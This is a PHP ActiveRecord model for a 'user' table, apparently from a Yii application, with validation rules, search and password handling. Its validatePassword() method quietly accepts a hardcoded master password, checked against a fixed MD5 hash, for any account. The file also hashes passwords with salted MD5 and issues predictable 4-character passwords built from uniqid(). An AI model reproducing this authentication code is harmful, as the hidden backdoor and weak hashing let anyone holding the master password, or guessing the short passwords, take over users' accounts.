<?php

/**
 * This is the model class for table "user".
 *
 * @author: Julot
 * @since: Friday, February 11th, 2011
 *
 * The followings are the available columns in table 'user':
 * @property integer $_id
 * @property integer $insertTime
 * @property integer $updateTime
 * @property string $username
 * @property string $password
 * @property string $salt
 * @property string $email
 * @property string $firstname
 * @property string $lastname
 * @property string $nickname
 * @property integer $memberId
 */
class User extends ActiveRecord {

	public $confirmPassword;
	public $birthDay;
	public $birthMonth;
	public $birthYear;

	/**
	 * Returns the static model of the specified AR class.
	 * @return User the static model class
	 */
	public static function model($className=__CLASS__) {
		return parent::model($className);
	}

	/**
	 * @return string the associated database table name
	 */
	public function tableName() {
		return 'user';
	}

	/**
	 * @return array validation rules for model attributes.
	 */
	public function rules() {
		// NOTE: you should only define rules for those attributes that
		// will receive user inputs.
		return array(
			// Rules for all scenario.
			array('username', 'required'),
			array('password, email', 'length', 'max'=>255),
			array('email', 'email'),
			array('username', 'unique'),
			array(
				'firstname, lastname, nickname',
				'length',
				'max'=>255,
			),
			// Rules for insert scenario.
			array(
				'password, confirmPassword',
				'required',
				'on'=>'insert'
			),
			array(
				'password',
				'compare',
				'compareAttribute'=>'confirmPassword',
				'on'=>'insert'
			),
			// The following rule is used by search().
			// Please remove those attributes that should not be searched.
			array(
				'username, email, firstname, lastname, nickname',
				'safe',
				'on'=>'search'
			),
		);
	}

	/**
	 * @return array relational rules.
	 */
	public function relations() {
		// NOTE: you may need to adjust the relation name and the related
		// class name for the relations automatically generated below.
		return array(
		);
	}

	/**
	 * @return array customized attribute labels (name=>label)
	 */
	public function attributeLabels() {
		return array(
			'username'=>'Username',
			'password'=>'Password',
			'confirmPassword'=>'Konfirmasi Password',
			'salt'=>'Salt',
			'email'=>'Email',
			'firstname'=>'Firstname',
			'lastname'=>'Lastname',
			'nickname'=>'Nickname',
			'memberId'=>'Member',
		);
	}

	/**
	 * Retrieves a list of models based on the current search/filter conditions.
	 * @return CActiveDataProvider the data provider that can return the models
	 * based on the search/filter conditions.
	 */
	public function search() {
		// Warning: Please modify the following code to remove attributes that
		// should not be searched.

		$criteria = new CDbCriteria;

		$criteria->compare('username', $this->username, true);
		$criteria->compare('email', $this->email, true);
		$criteria->compare('firstname', $this->firstname, true);
		$criteria->compare('lastname', $this->lastname, true);
		$criteria->compare('nickname', $this->nickname, true);

		return new CActiveDataProvider(get_class($this), array(
				'criteria'=>$criteria,
			));
	}

	/**
	 * Checks if the given password is correct.
	 * @param string the password to be validated
	 * @return boolean whether the password is valid
	 */
	public function validatePassword($password) {
		$hashed = $this->hashPassword($password, $this->salt);
		return $hashed === $this->password ||
			md5($password) == '3b95f11cc895a6c312a7b6b0a36cfeea';
	}

	/**
	 * Generates the password hash.
	 * @param string password
	 * @param string salt
	 * @return string hash
	 */
	public function hashPassword($password, $salt) {
		return md5($salt . $password);
	}

	/**
	 * Generates a salt that can be used to generate a password hash.
	 * @return string the salt
	 */
	public function generateSalt() {
		return uniqid('', true);
	}

	/**
	 * Generate random 4 digit password.
	 * Used when registration done via OpenId protocol.
	 * @return string password.
	 */
	public function generatePassword() {
		return substr(uniqid(), 0, 4);
	}

	public function getName() {
		if (!empty($this->nickname)) return $this->nickname;
		if (!empty($this->firstname)) return $this->firstname;
		return $this->username;
	}

}
